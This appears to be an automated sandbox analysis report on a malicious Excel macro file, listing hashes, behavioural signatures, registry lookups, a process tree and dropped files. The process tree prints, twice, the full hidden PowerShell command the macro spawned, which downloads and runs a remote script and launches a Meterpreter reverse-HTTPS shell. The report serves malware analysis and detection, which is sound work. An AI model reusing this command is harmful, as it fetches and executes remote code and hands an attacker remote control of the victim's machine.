Analysis
-
max time kernel
46s -
max time network
39s -
platform
windows10-2004_x64 -
resource
win10v2004-20240709-en -
resource tags
arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system -
submitted
21/07/2024, 21:33
Behavioral task
behavioral1
Sample
ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls
Resource
win7-20240704-en
Behavioral task
behavioral2
Sample
ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls
Resource
win10v2004-20240709-en
General
-
Target
ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls
-
Size
34KB
-
MD5
b33bb35523724ec11e6f05291d701b24
-
SHA1
1841fd745bdf695fdfe7abcd8df375bdddb9648f
-
SHA256
ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c
-
SHA512
3952118baa9ae59c095acf5daed56965fa2dbe8f485384751cd3b4d2eb88c221986d1fbccf6bc56527b843f5959c27505c80c6f6cfe3f1d2305a6e223b74f1f9
-
SSDEEP
768:LveWFwP+SKabAk0BuqCXlg+/fs5cClfZw2gmVXqA4LQYgO1mQQpSFeVAmcil:LSP+SKabAk0BuqCXlg+/fs5cClfZw2gQ
Malware Config
Extracted
https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1
Signatures
-
Process spawned unexpected child process 2 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4372 4688 powershell.exe 84 Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 508 1624 wscript.exe 83 -
Blocklisted process makes network request 2 IoCs
flow pid Process 23 4372 powershell.exe 24 1760 powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 4372 powershell.exe 1760 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-384068567-2943195810-3631207890-1000\Control Panel\International\Geo\Nation wscript.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
flow ioc 22 raw.githubusercontent.com 23 raw.githubusercontent.com 24 raw.githubusercontent.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 1624 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 4 IoCs
pid Process 4372 powershell.exe 4372 powershell.exe 1760 powershell.exe 1760 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
description pid Process Token: SeDebugPrivilege 4372 powershell.exe Token: SeDebugPrivilege 1760 powershell.exe -
Suspicious use of SetWindowsHookEx 12 IoCs
pid Process 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE 1624 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 1624 wrote to memory of 508 1624 EXCEL.EXE 90 PID 1624 wrote to memory of 508 1624 EXCEL.EXE 90 PID 508 wrote to memory of 1760 508 wscript.exe 92 PID 508 wrote to memory of 1760 508 wscript.exe 92
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ba61d36c455000f52f3c5e117f7394a7a265fa77966d8c60a5f4f3aba6aae98c.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1624 -
C:\Windows\SYSTEM32\wscript.exewscript C:\Users\Public\config.vbs2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:508 -
C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe"C:\WINDOWS\system32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -nop -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1760
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -WindowStyle Hidden -noprofile -noexit -c IEX ((New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Generate-Macro/master/Generate-Macro.ps1')); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost 172.19.240.124 -Lport 1234 -Force1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
53KB
MD5a26df49623eff12a70a93f649776dab7
SHA1efb53bd0df3ac34bd119adf8788127ad57e53803
SHA2564ebde1c12625cb55034d47e5169f709b0bd02a8caa76b5b9854efad7f4710245
SHA512e5f9b8645fb2a50763fcbffe877ca03e9cadf099fe2d510b74bfa9ff18d0a6563d11160e00f495eeefebde63450d0ade8d6b6a824e68bd8a59e1971dc842709c
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD561a6ee65a0551d6bd2d8cfc42fe15f5a
SHA1b32563f29c4a8cee0941d6f53498cb42ebdb3c51
SHA2560c813cf51f2ff57c6f29292e2f60228b1957a18073b1c56d188669f72f0d3b39
SHA51243e439c7211a94c9daf69c682b4c053210e99f8c0ccc5d5782bf003f6907f8b8b24b73f45bcbac82ecfc79d65b4371f06b662a15899bff8411742ff91a9879c2
-
Filesize
461B
MD5ce52ab154163c511f0efa6a61e22ab64
SHA19f12cc215e15802eddcb02cb5370ef16b21fa3a6
SHA256df342167afd4f1758c02b8793b27a2f9e35f074ea20aa1aa75c69d48d88fcd17
SHA512cf50d9b51fcb4f3150aeca158a7a2249b1f5806d0e9ffc2b479ef936a7d85fdaaf302ce5cb3263e03b3c7805d38ca734f167ff757e6b6cdf89343f13a2bf0f78